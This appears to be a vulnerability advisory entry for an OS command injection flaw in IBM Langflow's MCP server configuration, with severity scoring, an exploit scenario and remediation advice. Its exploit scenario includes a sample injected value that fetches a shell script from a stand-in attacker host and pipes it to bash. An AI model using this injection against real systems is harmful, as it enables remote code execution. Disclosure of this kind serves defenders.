EUVD-2026-53478
GHSA-7rx7-4wfr-4qqv
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Network-reachable endpoint, low complexity; PR:L required because MCP configuration access demands an authenticated session with at least standard user privileges.
Primary rating from Vendor (ibm).
CVSS VectorVendor: ibm
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Lifecycle Timeline
2DescriptionCVE.org
IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote authenticated attacker to execute arbitrary commands due to improper validation of the command field in MCP server configurations.
AnalysisAI
Arbitrary OS command execution in IBM Langflow OSS 1.0.0 through 1.10.3 is reachable by any authenticated low-privileged user who can modify MCP server configurations. Improper validation of the command field in those configurations allows injected shell commands to be executed with the application's process privileges, yielding full confidentiality, integrity, and availability impact. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires a valid authenticated session in IBM Langflow OSS - the CVSS PR:L metric confirms that at least low-privilege credentials are necessary, ruling out unauthenticated access. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 score of 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) accurately reflects a high-severity, network-reachable attack requiring only low-privilege authentication and no user interaction, with full triad impact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An authenticated attacker with a standard low-privileged Langflow account navigates to the MCP server configuration interface and creates or edits an MCP server entry, supplying a crafted value in the command field such as 'legitimate-binary; curl attacker.com/shell.sh | bash'. When Langflow processes or activates the configuration, it passes the unsanitized command string to the underlying OS, executing both the benign prefix and the injected payload with the privileges of the Langflow application process. … |
| Remediation | Apply the vendor-released patch referenced in the IBM advisory at https://www.ibm.com/support/pages/node/7282147; a patch is confirmed available from the vendor, though the exact fixed version number is not specified in the currently available intelligence and must be confirmed directly from that advisory before upgrading. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, conduct an audit of all Langflow deployments to identify which systems run versions 1.0.0 through 1.10.3 and document all user accounts with access to MCP server configuration features. …
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Same weakness CWE-78 – OS Command Injection
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External POC / Exploit Code
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